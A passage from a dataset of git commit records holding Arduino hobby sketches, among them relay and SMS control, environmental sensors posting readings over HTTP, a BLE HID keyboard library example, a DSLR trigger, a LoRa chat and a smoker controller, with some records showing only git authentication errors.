if (inchar=='#')\n {\n delay(10);\n inchar=Serial.read(); \n \/\/first led\n if (inchar=='a')\/\/closed\n {\n delay(10);\n inchar=Serial.read();\n if (inchar=='0')\/\/closed\n {\n digitalWrite(led1, LOW);\n delay(1000);\n digitalWrite(relay1,HIGH);\n Serial.print(\"Relay 1 LOW\\n\");\n delay(500);\n Serial.println(\"AT+CMGF=1\");\n delay(500);\n Serial.println(\"AT+CMGS=\\\"9894273273\\\"\");\/\/Change the receiver phone number\n delay(500);\n Serial.print(\"Power OFF\"); \/\/the message you want to send\n delay(500);\n Serial.write(26);\n delay(500);\n }\n else if (inchar=='1')\n {\n digitalWrite(led1, HIGH);\n delay(1000);\n digitalWrite(relay1, LOW);\n Serial.print(\"Relay 1 HIGH\\n\");\n delay(500);\n Serial.println(\"AT+CMGF=1\");\n delay(500);\n Serial.println(\"AT+CMGS=\\\"9894273273\\\"\");\/\/Change the receiver phone number\n delay(500);\n Serial.print(\"Power ON\"); \/\/the message you want to send\n delay(500);\n Serial.write(26);\n delay(500);\n }\n \n delay(10);\n inchar=Serial.read();\n if(inchar=='b')\n {\n delay(10);\n inchar=Serial.read();\n if (inchar=='0')\n {\n digitalWrite(led2, LOW);\n delay(500);\n digitalWrite(relay2,HIGH);\n Serial.print(\"Relay 2 LOW\\n\");\n }\n else if (inchar=='1')\n {\n digitalWrite(led2, HIGH);\n delay(500);\n digitalWrite(relay2, LOW);\n Serial.print(\"Relay 2 HIGH\\n\");\n }\n }\n }\n Serial.println(\"AT+CMGD=1,4\");\n }\n \n }\n}\n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'switch_ino\/switch_ino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c21cd2b21b30f3c09f36ad0c1649c6aab5278ca2","subject":"Create env_sensosrs.ino","message":"Create env_sensosrs.ino","repos":"bubblestack\/hydroop","old_file":"env_sensosrs.ino","new_file":"env_sensosrs.ino","new_contents":"#include \"DHT.h\"\n#include <SPI.h>\n#include <Ethernet.h>\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nchar server[] = \"bubblestack.io\"; \/\/ name address for Google (using DNS)\nIPAddress ip(2, 2, 2, 226);\nEthernetClient client;\n\nlong previousMillis = 0;\nunsigned long currentMillis = 0;\nunsigned long lastConnectionTime = 0; \/\/ last time you connected to the server, in milliseconds\nconst unsigned long postingInterval = 10L * 1000L; \/\/ delay between updates, in milliseconds\nlong interval = 150000; \/\/ READING INTERVAL\n\nfloat cistern_temp;\n\n\n#define DHT1PIN 2 \/\/ what pin we're connected to\n#define DHT2PIN 3\n#define DHT1TYPE DHT11 \/\/ DHT 11 \n#define DHT2TYPE DHT11 \n \nDHT dht1(DHT1PIN, DHT1TYPE);\nDHT dht2(DHT2PIN, DHT2TYPE);\n\nString data;\n\nvoid setup() {\n Serial.begin(9600); \n pinMode(4, OUTPUT);\n dht1.begin();\n dht2.begin();\n delay(4000);\n float h1 = dht1.readHumidity();\n float t1 = dht1.readTemperature();\n float h2 = dht2.readHumidity();\n float t2 = dht2.readTemperature();\n \n \n \/\/ start the Ethernet connection:\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n Ethernet.begin(mac, ip);\n }\n}\n\n\n \nvoid loop() {\n\n cistern_temp = read_temp();\n Serial.println(cistern_temp);\n \n float h1 = dht1.readHumidity();\n float t1 = dht1.readTemperature();\n float h2 = dht2.readHumidity();\n float t2 = dht2.readTemperature();\ndelay(1000);\n\n\n if (isnan(t1) || isnan(h1)) {\n Serial.println(\"Failed to read from DHT #1\");\n } else {\n Serial.print(\"Humidity 1: \"); \n Serial.print(h1);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature 1: \"); \n Serial.print(t1);\n Serial.println(\" *C\");\n }\n if (isnan(t2) || isnan(h2)) {\n Serial.println(\"Failed to read from DHT #2\");\n } else {\n Serial.print(\"Humidity 2: \"); \n Serial.print(h2);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature 2: \"); \n Serial.print(t2);\n Serial.println(\" *C\");\n }\n Serial.println();\n\n data = \"&temp1=\" + String(t1)+ \"&hum1=\"+ String(h1)+ \"&temp2=\" +String(t2)+ \"&hum2=\" +String(h2)+ \"&cistern_tmp=\" +String(cistern_temp);\n\n if (client.available()) {\n char c = client.read();\n Serial.write(c);\n }\n\n \/\/ if ten seconds have passed since your last connection,\n \/\/ then connect again and send data:\n if (millis() - lastConnectionTime > postingInterval) {\n httpRequest();\n }\n\n}\n\n\/\/ this method makes a HTTP connection to the server:\nvoid httpRequest() {\n \/\/ close any connection before send a new request.\n \/\/ This will free the socket on the WiFi shield\n client.stop();\n\n \/\/ if there's a successful connection:\n if (client.connect(server, 80)) {\n Serial.println(\"connecting...\");\n \/\/ send the HTTP PUT request:\n client.println(\"POST \/greenhouse\/env.php HTTP\/1.1\");\n client.println(\"Host: bubblestack.io\");\n client.println(\"User-Agent: arduino-ethernet\");\n client.println(\"Content-Type: application\/x-www-form-urlencoded\");\n client.print(\"Content-Length: \");\n client.println(data.length());\n client.println();\n client.print(data);\n client.println();\n \n\n\n \/\/ note the time that the connection was made:\n lastConnectionTime = millis();\n }\n else {\n \/\/ if you couldn't make a connection:\n Serial.println(\"connection failed\");\n }\n if (client.connected()) {\n\nclient.stop();\/\/ DISCONNECT FROM THE SERVER\n\n} \n \n}\n\n\n \nfloat read_temp(void){\n float v_out;\n float cistern_temp;\n digitalWrite(A0, LOW);\n digitalWrite(4, HIGH);\n delay(2);\n v_out = analogRead(0);\n digitalWrite(4, LOW);\n v_out*=.0048;\n v_out*=1000;\n cistern_temp= 0.0512 * v_out -20.5128;\nreturn cistern_temp;\n}\n\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'env_sensosrs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8d0dc1fc18b874c9948d4ab9a1a30f8d7a60103a","subject":"\u5149\u30bb\u30f3\u30b5\u30fc\u8ffd\u52a0(arduino)","message":"\u5149\u30bb\u30f3\u30b5\u30fc\u8ffd\u52a0(arduino)\n\n\u5149\u30bb\u30f3\u30b5\u30fc\u306e\u5024\u3092json\u5f62\u5f0f\u30673000\u30eb\u30fc\u30d7\u6bce\u306b\u9001\u4fe1\n","repos":"fai1618\/node-irMagician,fai1618\/node-irMT,fai1618\/node-irMagician,fai1618\/nodejs-irMagician,fai1618\/nodejs-irMagician,fai1618\/node-irMT","old_file":"util\/doorLight.ino","new_file":"util\/doorLight.ino","new_contents":"void setup(){\n Serial.begin(9600);\n \/\/pinMode(13, OUTPUT);\n pinMode(2, INPUT_PULLUP);\n \/\/digitalWrite(13, 1);\n}\n\nint lastSwitchVal = 0;\n\/\/int lastButtonVal = 0;\n\nint doorCount = 0;\n\/\/int judge = 1;\/\/on:1,off:0\n\nint lightCount = 0;\nint lightVal = 0;\n\nvoid loop() {\n int switchVal;\/\/doorSensor\n \/*int buttonVal;\n\n buttonVal = digitalRead(4);\n if(buttonVal == 1 && buttonVal != lastButtonVal){\n if(doorCount%2 == 0){\n judge = 1;\n digitalWrite(13, 1);\n }else{\n judge = 0;\n digitalWrite(13, 0);\n }\n doorCount++;\n }\n lastButtonVal = buttonVal;*\/\n\n switchVal = digitalRead(2);\n \/\/if(judge == 1){\n if (switchVal != lastSwitchVal){\n if (switchVal == 0){\/\/\u30c9\u30a2\u304c\u9589\u307e\u3063\u305f\n Serial.print(\"0\\n\");\n }\n else {\/\/\u30c9\u30a2\u304c\u958b\u3044\u305f\n Serial.print(\"1\\n\");\n }\n }\n \/\/}\n lastSwitchVal = switchVal;\n\n \/\/lightSensor\n lightCount++;\n if(lightCount > 3000){\n lightVal = analogRead(0)\/4;\n Serial.print(\"{lightSensor: \");\n Serial.print(lightVal);\/\/\u30bb\u30f3\u30b5\u306e\u5024\n Serial.print(\"}\\n\");\n\n lightCount = 0;\n }\n\n Serial.flush();\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'util\/doorLight.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4df9616d5cad9ecec0a1f74087e86bdf64099906","subject":"- initial HID keyboard example","message":"- initial HID keyboard example\n\nported from Nordic example\n(https:\/\/github.com\/NordicSemiconductor\/ble-sdk-arduino\/tree\/master\/libr\naries\/BLE\/examples\/ble_HID_keyboard_template)\n","repos":"possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral","old_file":"examples\/HID_keyboard\/HID_keyboard.ino","new_file":"examples\/HID_keyboard\/HID_keyboard.ino","new_contents":"\/\/ Import libraries (BLEPeripheral depends on SPI)\n#include <SPI.h>\n#include <BLEPeripheral.h>\n\n\/\/ define pins (varies per shield\/board)\n#define BLE_REQ 6\n#define BLE_RDY 7\n#define BLE_RST 4\n\n\/\/ create peripheral instance, see pinouts above\nBLEPeripheral blePeripheral = BLEPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\nBLEBondStore bleBondStore;\n\nconst unsigned char hidReportReferenceDescriptorValue1[] = { 0x00, 0x01 };\nconst unsigned char hidInformationCharacteriticValue[] = { 0x11, 0x01, 0x00, 0x03 };\n\n\/\/ https:\/\/github.com\/NordicSemiconductor\/ble-sdk-arduino\/blob\/master\/libraries\/BLE\/examples\/ble_HID_keyboard_template\/USD%20HID%20Report%20Descriptor%20-%20Keyboard.txt\nconst unsigned char hidReportDescriptorValue[] = {\n 0x05, 0x01, \/\/ Usage Page (Generic Desktop)\n 0x09, 0x06, \/\/ Usage (Keyboard)\n 0xA1, 0x01, \/\/ Collection (Application)\n 0x05, 0x07, \/\/ Usage Page (Key Codes)\n 0x19, 0xe0, \/\/ Usage Minimum (224)\n 0x29, 0xe7, \/\/ Usage Maximum (231)\n 0x15, 0x00, \/\/ Logical Minimum (0)\n 0x25, 0x01, \/\/ Logical Maximum (1)\n 0x75, 0x01, \/\/ Report Size (1)\n 0x95, 0x08, \/\/ Report Count (8)\n 0x81, 0x02, \/\/ Input (Data, Variable, Absolute)\n \n 0x95, 0x01, \/\/ Report Count (1)\n 0x75, 0x08, \/\/ Report Size (8)\n 0x81, 0x01, \/\/ Input (Constant) reserved byte(1)\n \n 0x95, 0x05, \/\/ Report Count (5)\n 0x75, 0x01, \/\/ Report Size (1)\n 0x05, 0x08, \/\/ Usage Page (Page# for LEDs)\n 0x19, 0x01, \/\/ Usage Minimum (1)\n 0x29, 0x05, \/\/ Usage Maximum (5)\n 0x91, 0x02, \/\/ Output (Data, Variable, Absolute), Led report\n 0x95, 0x01, \/\/ Report Count (1)\n 0x75, 0x03, \/\/ Report Size (3)\n 0x91, 0x01, \/\/ Output (Data, Variable, Absolute), Led report padding\n \n 0x95, 0x06, \/\/ Report Count (6)\n 0x75, 0x08, \/\/ Report Size (8)\n 0x15, 0x00, \/\/ Logical Minimum (0)\n 0x25, 0x65, \/\/ Logical Maximum (101)\n 0x05, 0x07, \/\/ Usage Page (Key codes)\n 0x19, 0x00, \/\/ Usage Minimum (0)\n 0x29, 0x65, \/\/ Usage Maximum (101)\n 0x81, 0x00, \/\/ Input (Data, Array) Key array(6 bytes)\n \n \n 0x09, 0x05, \/\/ Usage (Vendor Defined)\n 0x15, 0x00, \/\/ Logical Minimum (0)\n 0x26, 0xFF, 0x00, \/\/ Logical Maximum (255)\n 0x75, 0x08, \/\/ Report Count (2)\n 0x95, 0x02, \/\/ Report Size (8 bit)\n 0xB1, 0x02, \/\/ Feature (Data, Variable, Absolute)\n \n 0xC0 \/\/ End Collection (Application)\n};\nconst unsigned char hidReportReferenceDescriptorValue2[] = {0x00, 0x02};\n\n\nBLEService hidService = BLEService(\"1812\");\nBLECharacteristic hidReportCharacteristic = BLECharacteristic(\"2A4D\", BLERead | BLENotify, 8);\nBLEDescriptor reportReferenceDescriptor1 = BLEDescriptor(\"2908\", hidReportReferenceDescriptorValue1, sizeof(hidReportReferenceDescriptorValue1));\nBLEConstantCharacteristic hidInformationCharacteristic = BLEConstantCharacteristic(\"2a4a\", hidInformationCharacteriticValue, sizeof(hidInformationCharacteriticValue));\nBLEUnsignedCharCharacteristic hidProtocolModeCharacteristic = BLEUnsignedCharCharacteristic(\"2a4e\", BLERead | BLEWriteWithoutResponse);\nBLEUnsignedCharCharacteristic hidControlPointCharacteristic = BLEUnsignedCharCharacteristic(\"2a4c\",BLEWriteWithoutResponse);\nBLEConstantCharacteristic hidReportDescriptor = BLEConstantCharacteristic(\"2a4b\", hidReportDescriptorValue, sizeof(hidReportDescriptorValue));\nBLEUnsignedCharCharacteristic hidReportOutputCharacteristic = BLEUnsignedCharCharacteristic(\"2a4f\", BLERead | BLEWrite | BLEWriteWithoutResponse);\nBLEDescriptor reportReferenceDescriptor2 = BLEDescriptor(\"2908\", hidReportReferenceDescriptorValue2, sizeof(hidReportReferenceDescriptorValue2));\nBLECharacteristic bootKeyboardInputReportCharacateristic = BLECharacteristic(\"2A22\", BLERead | BLENotify, 8);\nBLEUnsignedCharCharacteristic bootKeyboardOutputReportCharacateristic = BLEUnsignedCharCharacteristic(\"2A23\", BLERead | BLEWrite | BLEWriteWithoutResponse);\n\n\nvoid setup() {\n Serial.begin(9600);\n#if defined (__AVR_ATmega32U4__)\n delay(5000); \/\/5 seconds delay for enabling to see the start up comments on the serial board\n#endif\n\n \/\/ clears bond data on every boot\n blePeripheral.setBondStore(bleBondStore);\n \n blePeripheral.setDeviceName(\"Arduino Keyboard\");\n blePeripheral.setAppearance(961);\n\n blePeripheral.setLocalName(\"HID-keyboard\");\n blePeripheral.setAdvertisedServiceUuid(hidService.uuid());\n\n \/\/ add attributes (services, characteristics, descriptors) to peripheral\n blePeripheral.addAttribute(hidService);\n blePeripheral.addAttribute(hidReportCharacteristic);\n blePeripheral.addAttribute(reportReferenceDescriptor1);\n blePeripheral.addAttribute(hidInformationCharacteristic);\n blePeripheral.addAttribute(hidProtocolModeCharacteristic);\n blePeripheral.addAttribute(hidControlPointCharacteristic);\n blePeripheral.addAttribute(hidReportDescriptor);\n blePeripheral.addAttribute(hidReportOutputCharacteristic);\n blePeripheral.addAttribute(reportReferenceDescriptor2);\n blePeripheral.addAttribute(bootKeyboardInputReportCharacateristic);\n blePeripheral.addAttribute(bootKeyboardOutputReportCharacateristic);\n \n \/\/ initialize characteristics values\n hidProtocolModeCharacteristic.setValue(0x01);\n \n unsigned char bootKeyboardInputReportCharacateristicValue[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};\n bootKeyboardInputReportCharacateristic.setValue(bootKeyboardInputReportCharacateristicValue, sizeof(bootKeyboardInputReportCharacateristicValue));\n\n \/\/ begin initialization\n blePeripheral.begin();\n \n Serial.println(F(\"BLE HID Keyboard Peripheral\"));\n}\n\nvoid loop() {\n BLECentral central = blePeripheral.central();\n\n if (central) {\n \/\/ central connected to peripheral\n Serial.print(F(\"Connected to central: \"));\n Serial.println(central.address());\n\n while (central.connected()) {\n uint8_t keyPress[8]= { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };\n \n if (Serial.available() > 0) {\n \/\/ read the ascii character\n unsigned char ascii = Serial.read();\n \n Serial.print(F(\"ascii = \"));\n Serial.println(ascii);\n \n \/\/ https:\/\/github.com\/SFE-Chris\/UNO-HIDKeyboard-Library\/blob\/master\/HIDKeyboard.h\n const static uint8_t HIDTable[] = {\n \t 0x00, \/\/ 0\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, \/\/ 10\n \t 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \/\/ 20\n \t 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, \/\/ 30\n \t 0x00, 0x2c, 0x1e, 0x34, 0x20, 0x21, 0x22, 0x24, 0x34, 0x26, \/\/ 40\n \t 0x27, 0x25, 0x2e, 0x36, 0x2d, 0x37, 0x38, 0x27, 0x1e, 0x1f, \/\/ 50\n \t 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x33, 0x33, 0x36, \/\/ 60\n \t 0x2e, 0x37, 0x38, 0x1f, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, \/\/ 70\n \t 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, \/\/ 80\n \t 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, \/\/ 90\n \t 0x2f, 0x31, 0x30, 0x23, 0x2d, 0x35, 0x04, 0x05, 0x06, 0x07, \/\/ 100\n \t 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, \/\/ 110\n \t 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, \/\/ 120\n \t 0x1c, 0x1d, 0x2f, 0x31, 0x30, 0x35, 127 \/\/ 127\n };\n \n if (ascii < sizeof(HIDTable)) {\n \n unsigned char hid = HIDTable[ascii];\n \n Serial.print(F(\"hid = \"));\n Serial.println(hid);\n \n \/\/ wait until we can notify\n while(!hidReportCharacteristic.canNotify()) {\n blePeripheral.poll();\n }\n \n \/\/ send hid key code\n keyPress[2] = hid;\n hidReportCharacteristic.setValue(keyPress, sizeof(keyPress));\n \n \/\/ wait until we can notify\n while(!hidReportCharacteristic.canNotify()) {\n blePeripheral.poll();\n }\n \n \/\/ send cleared hid code\n keyPress[2] = 0x00;\n hidReportCharacteristic.setValue(keyPress, sizeof(keyPress));\n }\n }\n }\n\n \/\/ central disconnected\n Serial.print(F(\"Disconnected from central: \"));\n Serial.println(central.address());\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HID_keyboard\/HID_keyboard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"57f9c015550c74ca0daa66dda2c4b00ee298fdee","subject":"Added DSLR_Controller.ino, has skeleton of code for three commands (expose, cancel, query), but needs query and cancel to be written.","message":"Added DSLR_Controller.ino, has skeleton of code for three commands (expose, cancel, query), but needs query and cancel to be written.\n","repos":"AstroHuntsman\/POCS,panoptes\/POCS,AstroHuntsman\/POCS,panoptes\/POCS,panoptes\/POCS,panoptes\/POCS,panoptes\/PACE,AstroHuntsman\/POCS,AstroHuntsman\/POCS","old_file":"DSLR_Controller.ino","new_file":"DSLR_Controller.ino","new_contents":"\/*\nCanon DSLR Camera Control\n\nTo activate cameras send a serial tring to the board. The string should \nconsist of three integers. The first and second indicate which cameras\nshould be activated. Any non-zero, positive integer in the first field\nwill activate the first camera and any non-zero integer in the second\nfield will activate the second camera. The third value is the exposure\ntime in milliseconds.\n\nSerial Commands to Board:\nE,n,n,nnn -- Expose camera.\nC,n,n -- Cancel exposure.\nQ -- Query which cameras are exposing.\n*\/\n\n\/\/ Constants for Camera Relay\nconst int camera1_pin = 2;\nconst int camera2_pin = 3;\n\n\/\/-----------------------------------------------------------------------------\n\/\/ SETUP\n\/\/-----------------------------------------------------------------------------\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n Serial.print(\"Setup Camera Relay Pins ... \");\n pinMode(camera1_pin, OUTPUT);\n pinMode(camera2_pin, OUTPUT);\n digitalWrite(camera1_pin, LOW);\n digitalWrite(camera2_pin, LOW);\n Serial.println(\"done!\");\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/ MAIN LOOP\n\/\/-----------------------------------------------------------------------------\nvoid loop() {\n \/\/ if there's any serial available, read it:\n while (Serial.available() > 0) {\n int command = Serial.parseInt();\n \/\/ Based on the command, parse the rest of the serial string differently.\n if (command == 69) {\n \/\/ Expose (E=69) command\n int camera1 = Serial.parseInt();\n int camera2 = Serial.parseInt();\n int exptime_ms = Serial.parseInt();\n \/\/ look for the newline. That's the end of your\n \/\/ sentence:\n if (Serial.read() == '\\n') {\n \/\/ expose camera for exptime_ms milliseconds\n Serial.print(\"Starting \");\n Serial.print(exptime_ms\/1000.0);\n Serial.print(\" second exposure\");\n if (camera1 >= 1) {\n Serial.print(\" on camera1 \");\n digitalWrite(camera1_pin, HIGH);\n if (camera2 >= 1) { Serial.print(\"and\"); }\n }\n if (camera2 >= 1) {\n Serial.print(\" on camera2 \");\n digitalWrite(camera2_pin, HIGH);\n }\n Serial.print(\"... \");\n \/\/ Now go in to loop waiting for exposure time to finish\n \/\/ If a cancel command is received, cancel exposure.\n int total_exptime = 0\n int remainder = total_exptime % 100;\n int n_loops = (total_exptime - remainder) \/ 100;\n for (int index = 0; index < n_loops; index++) {\n delay(100);\n total_exptime = total_exptime + 100;\n \/\/ Look for cancel command\n }\n delay(remainder);\n \/\/ Set pins low (stop exposure)\n digitalWrite(camera1_pin, LOW);\n digitalWrite(camera2_pin, LOW);\n Serial.println(\"done\");\n }\n }\n if (command == 67) or (command == 81) {\n \/\/ Cancel (C=67) or Query (Q=81) command\n }\n }\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DSLR_Controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"359e785261e980280c845bc42775bedbd73dd976","subject":"Changed sendPinValues() to send the most significant byte first.","message":"Changed sendPinValues() to send the most significant byte first.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5ecd1d18f3e23e1fdb3b0563f01e7b3ed142ad25","subject":"Rewritten firmware","message":"Rewritten firmware\n\nProgress on serial parsing and PWM output\nTo be added is radio network support etc\n","repos":"snowdenator\/EarlHomeAutomation,snowdenator\/EarlHomeAutomation,snowdenator\/EarlHomeAutomation","old_file":"GenV\/EarlIFirmware\/EarlIFirmware.ino","new_file":"GenV\/EarlIFirmware\/EarlIFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/snowdenator\/EarlHomeAutomation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"15d922cbd51461c838ebc18aa3d7584e60d1ae68","subject":"ArduSound","message":"ArduSound\n","repos":"uknj\/ArduSound","old_file":"ArduSound\/ArduSound.ino","new_file":"ArduSound\/ArduSound.ino","new_contents":"#include <Ultrasonic.h> \/\/ This library is licensed under Creative Commons Share alike and Attribution by J.Rodrigo. See: https:\/\/github.com\/JRodrigoTech\/Ultrasonic-HC-SR04\n \nUltrasonic ultraleft(11,3, 25000); \/\/ (Trig PIN, Echo PIN, Time Out in milliseconds- A lower value will limit the maximum distance reading.)\nUltrasonic ultraright(6,5, 25000); \/\/ (Trig PIN, Echo PIN, Time Out in milliseconds- A lower value will limit the maximum distance reading.)\n \nint pwmleft;\nint pwmright;\n \nvoid setup(){\n pinMode(2, OUTPUT); \/\/ GND pin\n digitalWrite(2, LOW); \/\/ GND mode\n Serial.begin(9600);\n}\n \nvoid loop(){\n Serial.print(\"Left: \");\n Serial.print(ultraleft.Ranging(CM)); \/\/ CM or INC\n Serial.print(\" cm \" );\n delay(50);\n Serial.print(\"Right: \");\n Serial.print(ultraright.Ranging(CM)); \/\/ CM or INC\n Serial.println(\" cm\" );\n delay(50);\n \n \n pwmleft = map(ultraleft.Ranging(CM), 0, 431, 0, 70); \/\/ Map the distance value to the analogue output.\n pwmright = map(ultraright.Ranging(CM), 0, 431, 0, 70); \/\/ Map the distance value to the analogue output. \n analogWrite(10, pwmleft); \/\/ Output the pwm value as analog output\n analogWrite(9, pwmright); \/\/ Output the pwm value as analog output\n \n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduSound\/ArduSound.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"93bb424e8ea6ff97f1000ac36347b91cc0cc591e","subject":"Delete ESPArto_timer_functions.ino","message":"Delete ESPArto_timer_functions.ino","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/ESPArto_timer_functions\/ESPArto_timer_functions.ino","new_file":"examples\/ESPArto_timer_functions\/ESPArto_timer_functions.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f4101f31b7f458119e34be7db59d670157a4c6a6","subject":"Create LORA_chat.ino","message":"Create LORA_chat.ino","repos":"AlcorDust\/LORA_stuff,AlcorDust\/LORA_stuff","old_file":"LORA_chat\/LORA_chat.ino","new_file":"LORA_chat\/LORA_chat.ino","new_contents":"#include <RHReliableDatagram.h>\n#include <RH_RF95.h>\n#include <SPI.h>\n\n#define MY_ADDRESS 1\n#define TARGET_ADDRESS 2\n#define MAX_LEN 40\n\nRH_RF95 driver;\nRHReliableDatagram manager(driver, MY_ADDRESS);\n\nbool check = 0;\nuint8_t data[MAX_LEN];\nuint8_t buf[RH_RF95_MAX_MESSAGE_LEN];\n\nchar outstr[MAX_LEN];\nbyte i;\nbyte SNR;\nbyte cont = 0;\n\nvoid setup() {\n\n Serial.begin(9600);\n\n if (!manager.init()) {\n Serial.println(\"init failed\");\n }\n\n driver.setTxPower(23, false);\n\n Serial.println(\"---- LORA chat modulo A ----\");\n Serial.println(\"Digita il messaggio e premi INVIO per spedire.\");\n}\n\nvoid loop() {\n\n \/\/**********************************SPEDIZIONE\n\n if (Serial.available()) {\n\n delay(100); \/\/ Non togliere questo delay!!\n i = 0;\n \n while(Serial.available()){\n \n outstr[i] = Serial.read();\n \/\/Serial.println(outstr[i]);\n i++;\n\n if(i == MAX_LEN){\n break;\n }\n \n }\n\n String(outstr).getBytes(data, i); \/\/ Inserisco il dato nell'array da\n \/\/ spedire.\n Serial.print(\"Messaggio da spedire: \\t\\t\\t\\t\\t\\t\");\n Serial.println((char*)data);\n Serial.println(\"Provo a spedire...\");\n\n \/\/ Spedisco la stringa all'indirizzo e vedo se l'invio \u00e8 andato a buon fine\n check = manager.sendtoWait(data, sizeof(data), TARGET_ADDRESS);\n\n if (check) {\n\n Serial.println(\"Invio riuscito!\");\n Serial.println(\"Digita il messaggio e premi INVIO per spedire di nuovo\");\n\n } else {\n\n Serial.println(\"Invio fallito!\");\n Serial.println(\"Digita il messaggio e premi INVIO per spedire di nuovo\");\n\n }\n }\n\n \/\/**********************************RICEZIONE\n\n if (manager.available()) {\n\n Serial.println(\"Manager available\");\n\n uint8_t len = sizeof(buf);\n uint8_t from;\n\n check = manager.recvfromAckTimeout(buf, &len, 2000, &from);\n\n if (check) {\n\n cont++;\n Serial.print(\"Ricevuto messaggio da : 0x\");\n Serial.print(from, HEX);\n Serial.print(\": \\t\\t\\t\\t\\t\");\n Serial.print(cont);\n Serial.print(\"\\t\");\n Serial.println((char*)buf);\n\n SNR = driver.lastSNR();\n Serial.print(\"SNR : \");\n Serial.println(SNR);\n\n } else {\n\n Serial.print(\"Ricezione fallita\");\n\n }\n\n } \/\/ Manager available\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LORA_chat\/LORA_chat.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10c19ddfc0627702e353dce0ee62c21af1fce871","subject":"Arduino sketch added","message":"Arduino sketch added\n","repos":"svenkost\/smoker,svenkost\/smoker","old_file":"sketches\/Rookvat.ino","new_file":"sketches\/Rookvat.ino","new_contents":"\/\/Own libraries\n#include <Menu.h>\n#include <RGBLed.h>\n#include <Speaker.h>\n#include <GasValve.h>\n#include <TemperatureSensors.h>\n#include <Logger.h>\n#include <MyTFT.h>\n\n\/\/3rd party libraries\n#include <Encoder.h>\n\n#include <DallasTemperature.h>\n#include <OneWire.h>\n\n#include <mmc.h>\n#include <tinyFAT.h>\n\n#include \"SPI.h\"\n#include <Adafruit_GFX.h>\n#include <Adafruit_ILI9341.h>\n\n#include <DS1307RTC.h>\n#include <Time.h>\n#include <Wire.h>\n\n#include <Servo.h>\n#include <Stepper.h>\n\nconst int TARGET_TEMP_BARREL = 0;\nconst int TARGET_TEMP_MEAT = 1;\n\nconst int menuSelectorRE_A = 19;\nconst int menuSelectorRE_B = 27;\n\nconst int menuButton = 18;\nconst int pauseButton = A3;\n\nconst int oneWireTempSensors_pin = 3;\n\nconst int gasValveMotorRotationCheck_RE_A = A2;\nconst int gasValveMotorRotationCheck_RE_B = 38;\n\nconst int gasValveMotorA = 23;\nconst int gasValveMotorB = 24;\nconst int gasValveMotorC = 25;\nconst int 